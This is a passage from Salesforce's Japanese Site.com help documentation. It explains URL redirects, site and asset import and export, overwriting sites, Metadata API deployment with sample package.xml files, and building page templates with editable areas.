ることになります。これは作業コピーです。バージョンを復元するとき、ライ
ブサイトではなく、作業コピーが上書きされます。ライブサイトで変更を確認
するには、復元したバージョンを公開する必要があります。

警告: 以前のバージョンに戻した後で、サイトの作業コピーを復元するこ
とはできません。したがって、戻す前にサイトの作業コピーをバックアッ
プして、未公開の変更が失われないようにしてください。

以前に公開したサイトバージョンに戻す手順は、次のとおりです。
1. [概要] タブを選択します。
2. [変更履歴] ビューで、復元するバージョンを選択します。
3. [ ] > [バージョンを戻す] をクリックします。
4. 確認メッセージで [OK] をクリックします。
サイトを以前のバージョンに復元したら、サイトを公開する準備が整うまで他
の変更を引き続き加えることができます。

6032

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



Site.com での URL リダイレクトの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイトのページを移動したり再整理したりすると、検索エンジンによって新し
いページの場所が検出されにくくなる場合があります。これを回避するために、
URL リダイレクトを設定して、サイトのコンテンツが移動したことをユーザおよ
び検索エンジンに通知します。
URL リダイレクトを使って、次のことを実行できます。
• 検索エンジンのランキングを管理する。たとえば、ページ名を「ガジェッ

ト」から「ウィジェット」に変更した場合、/Gadgetsから /Widgetsへの
リダイレクトルールを作成することによって、ページランキングに影響を与
えることなくサイトを再構成することができます。

• URL をより読みやすく覚えやすくする。たとえば、サイト訪問者
は、/widget65AD890004ab9923 などの長いページ名や数字による覚えに
くいページ名を探す場合があります。代わりに、/widgetなどの短く覚えや
すい URL を提供し、ユーザが短い URL 別名を使用するときに正しいページに
リダイレクトする別名を作成できます。

• 同じドメインを使用している場合に、別のシステムから Site.com への移行を
支援する。たとえば、古いサイトが PHP で実行されていた場合、/index.php

などの古いページからの、/myNewPage などの Site.com 内の新しいページへ
のリダイレクトルールを作成できます。

サイトページにリダイレクトを割り当てる手順は、次のとおりです。
1. [概要] タブで [サイトの設定] > [URL リダイレクト] をクリックします。
2. [リダイレクトを作成] をクリックします。
3. 次の [リダイレクトタイプ]を指定します。

説明オプション

このオプションは、このページにア
クセスするときにユーザおよび検索

永続 (301)

エンジンにシステムの URL を更新さ
せる場合に選択します。ユーザがこ
のタイプのリダイレクトされたペー
ジにアクセスすると、新しいページ
に途切れなく送信されます。永続リ
ダイレクトを使用すると、URL が検索
エンジンの人気度を保持し、検索エ
ンジンが新しいページを索引付けし
て、索引から不用なソース URL を削
除します。

このオプションは、ユーザおよび検
索エンジンにこのページの元の URL

一時 (302)

を使用し続けさせる場合に選択しま
す。検索エンジンは、302 リダイレク
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説明オプション

トをいつでも再度変更可能なリダイレクトであると
解釈し、新しいリダイレクト先ページのコンテンツ
に索引付けし提供しますが、索引内にはソース URL

も保持されます。

このオプションは、ユーザのブラウザで URL を変更
したくないけれども、他のページにリダイレクトす

別名

る必要がある場合に選択します。検索エンジンは、
レコードの変更または更新を認識しません。
別名は、Site.comページ間でリダイレクトする場合に
のみ機能します。外部アドレスへの別名を作成する
ことはできません。

4. [リダイレクト元] 項目で割り当て元のページの場所を指定します。
• ページの場所は相対 URL である必要がある。
• ページは .html、.php など、すべての有効なタイプの拡張子にできる。また、パラメータを含むこと

ができます。パラメータの順序は関係ありません。
• URL には /siteprefix/page.html#target などのアンカーを含めることはできない。
• 特定の URL からはリダイレクトルールを 1 つのみ作成できる。同じリダイレクト元情報を使用して新し

いルールを作成すると、古いルールは上書きされます。

5. [リダイレクト先] 項目で新しいページの場所を指定します。これには、相対 URL または http:// や
https:// プレフィックスを含む完全修飾 URL を指定できます。リダイレクト元のページとは異なり、リ
ダイレクト先のページにはアンカーを含めることができます。

6. リダイレクトルールをただちに有効化するには、[有効]が選択されていることを確認します。このルール
を後で有効化するには、このプロパティの選択を解除します。

7. [保存] をクリックします。
[URL リダイレクト] セクションでは、サイトに作成したすべての URL リダイレクトルールが表示されます。
• 割り当てられたリダイレクトルールを編集するには、[ ] > [リダイレクトを編集] をクリックします。
• リダイレクトルールを削除するには、[ ] > [リダイレクトを削除] をクリックします。
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Site.com への外部 Web サイトのインポート

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

Site.com Studio では、既存の Web サイトをインポートして、Site.com サイトとして
自動的に再作成できます。これにより、既存の HTML ページを再コーディングす
る時間を節約できます。
目的のフォルダ構造で Web サイトおよびコンテンツの zip ファイルを作成しま
す。新しい Site.com サイトを作成し、zip ファイルをインポートします。
新しい Site.com サイトの作成時に、すべての HTML ページおよびアセットが新し
いサイトの zip ファイルと同じ場所にコピーされます。次に、アセットのイン
ポートに関するガイドラインを示します。
• スタイルシートの一部のコードは、Site.com 形式に適切に変換されない可能

性があります。適切に変換されない場合、警告メッセージが表示されます。
zip ファイルのインポートを続行することも、インポートを停止することもで
きます。続行する場合、スタイルシートのインポート後に手動でスタイル
シートをページに添付できます。

• [プロパティ] ペインの [スクリプト] セクションにある [ヘッドマークアップを編集] を使用して、ページの
<head> セクションを編集できます。これは、HTML を手動で編集する場合に役立ちます。

• .zip ファイルをインポートして解凍しない場合、インポートできる最大ファイルサイズは 50 MB です。.zip

ファイルを使用する場合、インポート処理中に [ファイルを解凍] を選択すると、最大 200 MB の .zip ファイ
ルをインポートできます。zip で圧縮された状態でサイトが 200MB より大きい場合、複数の zip ファイルを作
成して個別にインポートできます。

• Site.comでは、ページをインポートするときに、リンクが正しい書式に設定されます。リンクは、コンテン
ツブロック、カスタムコード、およびヘッドスクリプトマークアップでチェックされます。さらにリンク
チェッカーを使用して、リンクがページ上で破損していないかどうかを確認することもできます。ページ
を開き、[ ] > [破損したリンクを検出] を選択します。ダイアログに、すべての破損リンク (ある場合) が
表示されます。リンクを修正するには、[編集] をクリックします。HTML エディタでリンクが開きます。

関連トピック:

Site.com サイトのインポート
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サイトのコピーと上書き

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

サイトを上書きする
• サイトレベルで割り当

てられたサイト管理者
またはデザイナロール

現在の本番稼動のSite.comサイトまたはSite.comコミュニティサイトをコピーし、
別のサイトに置き換える場合があります。
まず、Sandbox 環境からサイトのコピーをエクスポートする必要がありま
す。.site ファイルをエクスポートしたら、上書き機能を使用してそのファイ
ルを本番組織にインポートします。上書きにより、本番サイトがインポートさ
れたサイトに置き換えられます。同じ種別のサイトのみを上書きできます。た
とえば、Site.com サイトを Site.com コミュニティサイトで上書きすることはでき
ません。
1. Site.com Studio のエクスポート機能を使用して、.site ファイルを作成しま

す。
2. 本番サイトのSite.com Studioから、[サイトアクション] > [このサイトを上書き]

を選択します。または、組織の [Site.com]タブへのアクセス権がある場合、サ
イト名の横にある をクリックして [上書き] を見つけることもできます。

3. [参照] をクリックして、エクスポートした .site ファイルを見つけます。
4. 上書きの警告が表示されたら、[OK] をクリックします。

警告: サイトを上書きすると、元に戻すことはできません。

次に、上書きを使用する場合のヒントを示します。
• 変更を有効にするには、上書きしたサイトを公開する必要があります。
• サイトをコピーすると、本番サイトが上書きされます。そのため、.site ファイルをエクスポートして本

番サイトをバックアップしてください。
• 上書きでは、データの変更はコピーされません。たとえば、サイトの繰り返しで使用するカスタムオブジェ

クトを作成した場合、この繰り返しは同じカスタムオブジェクトを作成するまで本番サイトでは機能しま
せん。

• 本番サイトに存在するがコピー元のサイトには存在しない納入商品は、上書きプロセス中にごみ箱に移動
するため、必要に応じて復元できます。

• コピーされたサイトの名前と本番サイトの名前が異なる場合、本番サイトの名前は保持され、コンテンツ
のみが変更されます。たとえば、サイトの名前が Site One で、Site Two という名前の本番サイトを上書きす
る場合、本番サイトの名前は Site Two のままになります。

関連トピック:

Site.com サイトのエクスポート
サイトをリリースするためのメタデータ API の使用
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サイトをリリースするためのメタデータ API の使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザは、Sandbox から本番環境にサイトを移行できます。メタデータ API を使
用して、Salesforce Communitiesサイトおよび Site.comサイトにリリース可能なパッ
ケージを作成できます。
パッケージの作成に使用できるツールは複数あります。
• 変更セット (Site.com および Site.com コミュニティサイトに対してのみ)。コン

ポーネントの種類は Site.com となります。
• ワークベンチ。すべてのサイト種別の作成で機能します。メタデータ型は

SiteDotCom となります。
• Ant 用 Force.com 移行ツール。すべてのサイト種別の作成で機能します。メタ

データ型は SiteDotCom となります。
変更セットを使用している場合は、リストからSite.comを選択し、表示されるプ
ロンプトに従ってパッケージを作成します。ツールとしてワークベンチまたは
Force.com を使用している場合は、package.xml ファイルを作成する必要があります。このファイルは、パッ
ケージを作成するためにメタデータ API に送信されます。

メモ: package.xml ファイルには、ゲストユーザプロファイルを含めることができます。その場合、ゲ
ストユーザプロファイルはリリース時にサイトにリンクされます。

パッケージプロセス時には、コンテンツファイルとメタデータ xml ファイルを含むフォルダが生成されます。
コンテンツファイルの名前は [sitename].site になります。メタデータ .xml ファイルの名前は
[sitename].site-meta.xml になります。
.site ファイルを含まないパッケージをリリースすると、空のサイトが作成されます。パッケージにサイト
ファイルが含まれており、同じ名前のサイトが組織にすでに存在すると、サイトが更新されます。

メモ: メタデータ APIを使用してサイトをSandboxから本番にリリースするときのファイルサイズには制限
があります。.site ファイルのアセットは、40 MB を超えることはできません。サイトは作成されます
が、アセットは新しいサイトで壊れて表示されます。アセットを修正するには、Sandbox 環境からアセッ
トを個別にエクスポートして、その後に新しいサイトにインポートします。

メタデータ API についての詳細は、『メタデータ API 開発者ガイド』を参照してください。変更セットについ
ての詳細は、オンラインヘルプおよび https://developer.salesforce.com/page/Migration_Tool_Guide にある『Force.com

移行ツールガイド』を参照してください。

package.xml サンプルファイル
次に、Site.com の package.xml サンプルファイルを示します。

関連トピック:

変更セット
package.xml サンプルファイル
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package.xml サンプルファイル

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

次に、Site.com の package.xml サンプルファイルを示します。
次に、Site.com サイトの package.xml サンプルファイルを示します。

<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">

<types>
<members>xyzsite</members>
<name>SiteDotCom</name>

</types>
<version>30.0</version>

</Package>

次に、Salesforce Communities サイトの package.xml サンプルファイルを示します。パッケージには、ゲスト
ユーザプロファイルも含まれます。
<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">

<types>
<members>xyzsite</members>
<name>CustomSite</name>

</types>
<types>

<members>xyzsite</members>
<name>Network</name>

</types>
<types>

<members>xyzsite1</members>
<name>SiteDotCom</name>

</types>
<types>

<members>xyzsite Profile</members>
<name>Profile</name>

</types>
<version>30.0</version>

</Package>
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アセットのインポートと管理

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

寄稿者、公開者、サイト管理者は、Web サイトで使用する画像、HTML ページ、
および PDF などのさまざまなアセットをインポートできます。アセットおよび
ファイルを個別にインポートしたり、zip ファイルを使用したりできます。Web

サイト全体または多数のアセットをインポートする場合、目的のフォルダ構造
でコンテンツの zip ファイルを作成する方が簡単です。Web サイトの zip ファイ
ルをインポートすると、Site.comは Web サイトを再作成して、同じフォルダ構造
ですべてのコンテンツを配置します。

メモ:

• .zip ファイルをインポートして解凍しない場合、インポートできる最大
ファイルサイズは 50 MB です。.zip ファイルを使用する場合、インポート
処理中に [ファイルを解凍] を選択すると、最大 200 MB の .zip ファイルを
インポートできます。

1 つ以上のファイルを最もすばやくインポートする手順は、次のとおりです。
1. コンピュータのファイルを選択し、Studio インターフェースに直接ドラッグ

します。これは、Mozilla® Firefox® および Google® Chrome のみでサポートされて
います。個々のファイルや zip ファイルをドラッグできます。

2. インポートするファイルのタイプによってはダイアログボックスが表示され
る場合があります。このダイアログボックスでは、次の操作を実行できま
す。
• [ファイルを解凍] を選択して、.zip ファイルのコンテンツを抽出する。.zip

ファイルにフォルダが含まれる場合、この構造はサイト内で維持されま
す。

• [既存のファイルを上書き]を選択して、サイトの既存のファイルを置き換
える。

• サイト管理者またはデザイナの場合、[CCS ファイルをスタイルシートに
変換します]を選択して、Web サイトのスタイルに使用できるスタイルシー
トに CSS を変換する。

メモ:  CSS ファイルを含む .zip ファイルをインポートしても変換に失
敗する場合、ファイルが有効でない可能性があります。このオプショ
ンをオフにして、.zip ファイルを再インポートしてください。

• [HTML ファイルをページに変換します] を選択して、HTML ページを Web サイトにインポートする。HTML

ページの構造はサイト内で維持されますが、HTML はインポート時に検証されません。

または、1 つのファイルをインポートする手順は、次のとおりです。
1. [インポート...] をクリックします。
2. [参照...] をクリックして、ファイルを特定します。
3. ファイルを選択し、[開く] をクリックします。
4. インポートするファイルのタイプに応じて、次を実行できます。
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[ファイルを解凍] を選択して、.zip ファイルのコンテンツを抽出する。.zip ファイルにフォルダが含まれ
る場合、この構造はサイト内で維持されます。

•

• サイトの既存のファイルを置き換えるには、[既存のファイルを上書き] を選択します。
• サイト管理者またはデザイナの場合、[CCS ファイルをスタイルシートに変換します] を選択して、Web

サイトのスタイルに使用できるスタイルシートに CSS を変換する。

メモ:  CSS ファイルを含む .zip ファイルをインポートしても変換に失敗する場合、ファイルが有効で
ない可能性があります。このオプションをオフにして、.zip ファイルを再インポートしてください。

• [HTML ファイルをページに変換します] を選択して、HTML ページを Web サイトにインポートする。HTML

ページの構造はサイト内で維持されますが、HTML はインポート時に検証されません。

5. [インポート] をクリックします。ファイルが正常にインポートされたかどうかを示すメッセージが表示さ
れます。

6. [ ] をクリックします。
サイトページのテキストエリアに動画や画像を追加するか、インポートされたアセットへのハイパーリンクを
作成できます。サイト管理者またはデザイナの場合は、ページに画像を直接追加することもできます。
[概要] タブの [アセット] ビューのインポートされたアセットのリストを表示します。また、サイトのフォルダ
階層を表示する [すべてのサイトのコンテンツ] ビューのアセットにもアクセスできます。
• インポートされた画像のサムネールを参照するには、その画像にマウスポインタを置きます。
• コンピュータにアセットを保存するには、そのアセットの上にマウスポインタを置くか、選択して、[ ] >

[ダウンロード] をクリックします。
• サイトからアセットを削除するには、サイト管理者またはデザイナの場合は、そのアセットの上にマウス

ポインタを置くか、選択して、[ ] > [削除]をクリックします。アセットがサイトで使用されている場合、
アセットが使用されている場所の一覧と共に、確認メッセージが表示されます。

• サイト管理者またはデザイナがサイトのアセット名を変更するには、アセットの上にマウスポインタを置
いて [ ] > [名前を変更] をクリックします。

アセットのエクスポート
デザイナおよびサイト管理者は、.site ファイルからサイトのすべてのアセットを個別にエクスポートで
きます。アセットは、一緒に、または個々にエクスポートできます。
フォルダの作成および管理
サイト管理者またはデザイナとして、ページ、スタイルシート、テンプレート、アセットを管理するフォ
ルダを作成できます。

関連トピック:

Site.com のページ要素の追加
サイト管理者またはデザイナとしての Site.com Studio の使用
寄稿者としての Site.com Studio の使用
アセットのエクスポート
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アセットのエクスポート

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

デザイナおよびサイト管理者は、.site ファイルからサイトのすべてのアセッ
トを個別にエクスポートできます。アセットは、一緒に、または個々にエクス
ポートできます。
すべてのアセットをエクスポートする場合、アセットは zip ファイルにエクス
ポートされます。その zip ファイルには、たとえば sitename-Assets.zip の
ように、サイト名にちなんで名前が付けられます。

[概要] タブから [ ] > [サイトアセットをエクスポート] をクリックしてア
セットをエクスポートします。
1 つのアセットをエクスポートするには、アセットの上にマウスを置き、[アク
ション] メニューから [ダウンロード] を選択します。

メモ: メタデータ API を使用してサイトを Sandbox から本番にリリースする
ときのファイルサイズには制限があります。.site ファイルのアセット
は、40 MB を超えることはできません。サイトは作成されますが、アセット
は新しいサイトで壊れて表示されます。アセットを修正するには、Sandbox

環境からアセットを個別にエクスポートして、その後に新しいサイトにイ
ンポートします。

関連トピック:

アセットのインポートと管理
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フォルダの作成および管理

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイト管理者またはデザイナとして、ページ、スタイルシート、テンプレート、
アセットを管理するフォルダを作成できます。
新規フォルダを作成する手順は、次のとおりです。
1. [概要] タブの [すべてのサイトコンテンツ] で、[新規フォルダ] をクリックし

ます。
2. フォルダ名を入力します。
3. [作成] をクリックします。
フォルダはフォルダツリーの最上位レベルに作成されます。作成後は、ツリー
構造の任意の場所にフォルダをドラッグできます。同様に、作成するフォルダ
にファイルをドラッグアンドドロップできます。サブフォルダの名前を変更し
たり、サブフォルダを削除および作成するには、そのフォルダを右クリックす
るか、または [アクション] メニュー ( ) を使用します。

メモ:  [すべてのサイトコンテンツ] ビューでの整列方法にかかわらず、サイ
トマップではフォルダは同じまま維持されます。

関連トピック:

サイト管理者およびデザイナの [概要] タブについて
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デザイナまたはサイト管理者としての Site.com ページの編集

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページテンプレートとサイトページを使用する場合、コンテンツ、構造、スタ
イルをすべて 1 つの場所に追加できます。[概要] タブで、ページまたはテンプ
レートをダブルクリックするか、マウスを置いて [ ] > [編集] をクリックし
て、ページまたはテンプレートを開きます。新規タブでページが開きます。
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• ページ要素と ページ構造ペイン (1) を使用して、ページ要素の検索、ページへのページ要素の追加、
およびページ要素階層の並び替えを行うことができます。

• プロパティ、 スタイル、および イベントペイン (2) を使用して、選択したページまたは要素のプ
ロパティの設定、スタイルの追加、イベントの作成を行うことができます。

• ツールバー (3) を使用して、次の操作を実行できます。
– アクションを元に戻すまたはやり直す。
– ページ要素を切り取る、コピーする、または貼り付ける。
– 画像およびファイルなどの納入商品をインポートする。
– 各種デバイスでページがどのように表示されるのかを確認するためにページをプレビューする。
– サイトをプレビューするか、匿名のプレビューリンクを生成して他のユーザに送信する。
– 最新の変更を公開する。
– ページの名前変更や削除など、他のページアクションにアクセスする ( )。

• ページキャンバス (4) では、ページのレイアウトと、ページ要素の選択、編集、移動を行うことができま
す。

ヒント:

• キャンバスサイズを増やすには、 と をクリックして、左右のペインを非表示にします。ペイン
を再度開くには、そのアイコンをクリックします。

• ページを編集すると、変更が保存され、ページタブの状況アイコン ( ) が自動的に更新されます。
• サイトページまたはページテンプレートが別のテンプレートに基づいている場合、編集可能なページ

要素は、ページ上に青色の境界線で強調表示されます。

Site.com ページテンプレートの概要
Site.com のページテンプレートの作成
編集可能なテンプレートエリアの作成
テンプレートの作成者として、テンプレートに基づくページでユーザが編集可能な要素を指定します。
編集可能なページ要素について
ページテンプレートでページ要素を [編集可]に設定した場合、そのページ要素は親テンプレートから派生
したすべての子ページまたはテンプレートで編集可能になります。
Site.com ページの作成
Site.com ページで使用するテンプレートの特定
ページの名前変更、複製、および変換
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ページの DOCTYPE プロパティの変更
ページのドックタイプ定義 (DTD)、つまり、doctype では、ページが使用している HTML のバージョンを定義
します。この情報は、一部のブラウザで標準の表示モードを起動するために使用されます。デフォルトで
は、各ページの doctype は最新バージョンの HTML5 に設定されていますが、XHTML 1.0 に変更できます。

関連トピック:

サイト管理者またはデザイナとしての Site.com Studio の使用

Site.com ページテンプレートの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

Web サイトのページの作成を開始する前に、時間をかけて必要なページを計画
し、特に、レイアウトを合わせるページを決めます。レイアウトを決定したら、
最も早くページを作成する方法は基本レイアウトを作成するページテンプレー
トを使用する方法です。

ページテンプレートについて
ページテンプレートを使用すると、サイトページのレイアウトと機能を 1 か所
で定義できます。共通のページ要素を追加したテンプレートに基づいてサイト
ページを作成すると、サイト全体で一貫性のあるデザインを実現できます。ペー
ジテンプレートは、公開サイトには表示されません。
テンプレートの作成者として、テンプレートに基づくページでユーザが編集可
能な要素を指定します。デフォルトでは、テンプレートのページ要素は「ロッ
ク」されているため、「編集可能」としてマークしたページ要素を除いて、ユー
ザはテンプレートに基づいたページのコンテンツを編集できません。反対に、ユーザが、テンプレートに基づ
いたページの編集可能なページ要素を編集しても、変更はそのページに固有であり、テンプレートには影響し
ません。
たとえば、次のメインページテンプレートには、サイト (1) のすべてのページに共通の編集不可のヘッダーと
ナビゲーションメニューが含まれます。メインテンプレートには、そのテンプレートに基づいた各ページの
ページ固有コンテンツを格納する編集可能な中央パネル (2) も含まれます。

メモ:

• ページテンプレートには、1 つ以上の編集可能なページ要素を含めます。編集可能なページ要素が含
まれていない場合、ユーザは、そのテンプレートに基づいたサイトページを編集できません。

• パネルは、ページテンプレートに編集可能なエリアを追加する場合に最適です。
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ページテンプレートを使用して、次のことが可能です。
• ページ構造をレイアウトし、サイトページの作成時に開始点としてそれを使用することで時間と手間を節

約する。たとえば、固定のヘッダーパネル、固定のサイドメニュー、編集可能な中央パネルを含むテンプ
レートを設計し、中央パネルには、ページ固有のページ要素とコンテンツを追加できます。

• Web サイトのレイアウトまたはスタイルの全体的な更新をすばやく行う。テンプレートのデザインを変更
すると、すべての変更内容がそのテンプレートを使用するすべてのページにすぐに反映されます。

• 他のユーザ (寄稿者やその他のサイト管理者およびデザイナなど) のサイトページの変更を制御する。たと
えば、寄稿者に特定のコンテンツブロックのみ編集を許可できます。

• テンプレートデザインをピクセル単位で保持する。ユーザがテンプレートに基づいたページを編集しても、
変更はテンプレートに影響しません。

• 子テンプレートを作成して、共通のデザイン要素を再使用する。
• 寄稿者にテンプレートに基づいたサイトページの作成を許可できる。

子テンプレートについて
より複雑なページレイアウトの場合、子テンプレートは、共通のデザイン要素を再使用する有用な方法です。
たとえば、Web サイトには、ナビゲーションメニューなど、サイトのすべてのページで同じ要素があります。
ただし、一部のページには、それらのページにのみ共通の要素を含める場合があります。たとえば、サイトの
サブセクション内のページにはサブセクションヘッダーがあります。別のテンプレートに基づいたテンプレー
トである子テンプレートを使用して、メインテンプレートデザインを再使用できます。
子テンプレートは、メインページテンプレートをベースに使用して、編集不可のヘッダーとナビゲーションメ
ニュー (1) と編集可能な中央パネル (2) を継承し、パネルの中に編集不可のサブセクションヘッダー (3) を追加
します。また、メインテンプレートの中央パネルは、メインテンプレートを直接ベースにしたページでのみ編
集可能なため、新しい編集可能な中央パネル (4) を追加する必要があります。

これで、子テンプレートに基づいたページに、編集不可のメインヘッダー、ナビゲーションメニュー、サブセ
クションヘッダーと、そのページのコンテンツを格納する編集可能な中央パネル (5) が挿入されました。
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ベストプラクティス
• サイト構造とページのレイアウトを計画します。最初に Web サイトの計画に時間をかけ、サイトの作成時

間を節約します。
• ナビゲーションメニューやヘッダーなど、サイトのすべてのページに共通の要素を特定して、ページテン

プレートに追加できます。
• 可能な限りページテンプレートを使用して、コンテンツの再使用を推進し、時間を節約します。
• メインページテンプレートのデザインは、今後簡単に変更できるようにできるだけシンプルにするように

心がけます。複雑なサイトデザインの場合は、子テンプレートを使用して、柔軟性を最大限に高めます。

関連トピック:

Site.com のページテンプレートの作成
Site.com ページの作成
寄稿者の Studio ビューの設定
Site.com ページで使用するテンプレートの特定
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Site.com のページテンプレートの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページテンプレートを使用すると、サイトページのレイアウトと機能を 1 か所
で定義できます。共通のページ要素を追加したテンプレートに基づいてサイト
ページを作成すると、サイト全体で一貫性のあるデザインを実現できます。テ
ンプレートに基づいたページは、テンプレートの要素を継承するため、1 か所を
変更するだけでサイト全体を変更できます。
レイアウトからページレイアウトを作成できます。または、テンプレートを作
成済みの場合、それをベースにして、子テンプレートを作成して、メインテン
プレートのデザインを再使用できます。

レイアウトからのページテンプレートの作成
完全に空白のテンプレートから作成を開始する、または基本のページレイアウ
トを使用する手順は、次のとおりです。
1. [概要] タブの [ページテンプレート] にマウスを置いて [新規] をクリックする

か、[ページテンプレート] ビューの [新規ページテンプレート] をクリックし
ます。

2. ページのテンプレート名を入力します。テンプレート名には、#、?、または
@ などの特殊文字を含めることはできません。

3. [レイアウト] をクリックして、空白ページ、またはヘッダーとフッターのあ
るページなど事前定義されたページレイアウトのいずれかを選択します。

メモ: 事前定義されたページレイアウトでは、パネルを使用して、列、
ヘッダー、フッターを作成します。パネルではインライン CSS を使用し
て位置を設定するため、ページを作成した後に簡単にレイアウトを変更
できます。ただし、CSS に精通していて CSS ルールを使用する場合は、
パネルを選択して、[スタイル] ペイン ( ) の [コード] タブからコード
を削除し、[適用] をクリックして、インラインスタイルを削除できま
す。

4. 次のレイアウトモードを選択します。
• ブラウザウィンドウの幅に合わせてページを拡張するには、[全体の幅] をクリックします。
• ページの幅を設定するには、[固定幅] をクリックして幅を入力します。

5. [作成] をクリックします。ページテンプレートが開きます。
次に、テンプレートを完成させる必要があります。

ヒント:

• デフォルトでは、作成するテンプレートは、組織の他のサイト管理者およびデザイナのみ使用できま
す。寄稿者がテンプレートに基づいたページを作成できるようにするには、[プロパティ] ペイン ( )

で [寄稿者が利用可] を選択します。
• 他のページを変換または複製して、テンプレートを作成することもできます。
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子テンプレートの作成
子テンプレートのベースに既存のテンプレートを使用する手順は、次のとおりです。
• 最も早くページを作成する手順は、次のとおりです。

1. [概要] タブの [ページテンプレート] ビューでテンプレートを選択して、[ ] > [子テンプレートを作成]

をクリックします。または、テンプレートを開いている場合は、[ページアクション] > [子テンプレート
を作成] をクリックします。

2. ページのテンプレート名を入力します。テンプレート名には、#、?、または @ などの特殊文字を含める
ことはできません。

3. [作成] をクリックします。子テンプレートが開きます。
• 次の手順でもページを作成できます。

1. [概要] タブの [ページテンプレート] にマウスを置いて [新規] をクリックするか、[ページテンプレート]

ビューの [新規ページテンプレート] をクリックします。
2. ページのテンプレート名を入力します。テンプレート名には、#、?、または @ などの特殊文字を含める

ことはできません。
3. [ページテンプレート] をクリックして、ページテンプレートを選択します。
4. [作成] をクリックします。子ページテンプレートが開きます。

テンプレートの完成
作成したテンプレートは、次の手順で完成させる必要があります。
• ページテンプレートをレイアウトする
• テンプレートに他のページ要素を追加する
• 編集可能なエリアを作成する
• テンプレートに基づいたサイトページを作成する

関連トピック:

編集可能なテンプレートエリアの作成
Site.com ページで使用するテンプレートの特定
Site.com ページテンプレートの概要
寄稿者の Studio ビューの設定
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編集可能なテンプレートエリアの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

テンプレートの作成者として、テンプレートに基づくページでユーザが編集可
能な要素を指定します。
派生したページまたは子テンプレートでページ要素を編集可能にするには、ペー
ジテンプレートまたは [ページ構造] ペイン ( ) のページ要素を選択して、[ ] >

[編集可能にする] をクリックするか、[プロパティ] ペイン ( ) で [編集可] を選
択します。
編集可能なページ要素は、ページテンプレートが開いている場合は、ページ上
に青色の境界線で強調表示されます。また、[ページ構造] ペインと、ページの要
素の上にマウスを置くと表示される情報ポップアップには、鉛筆アイコン ( )

が表示されます。

関連トピック:

編集可能なページ要素について
寄稿者の Studio ビューの設定
Site.com のページテンプレートの作成

編集可能なページ要素について

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ページテンプレートでページ要素を [編集可]に設定した場合、そのページ要素
は親テンプレートから派生したすべての子ページまたはテンプレートで編集可
能になります。
編集可能なページ要素を作成する場合、次のヒントを活用してください。
• 編集可能なページ要素は、子ページおよびテンプレートで青の境界線で強調

表示されます。
• パネル内のページ要素を編集可能にする場合に、コンテナパネルも編集可能

にすることはできません。
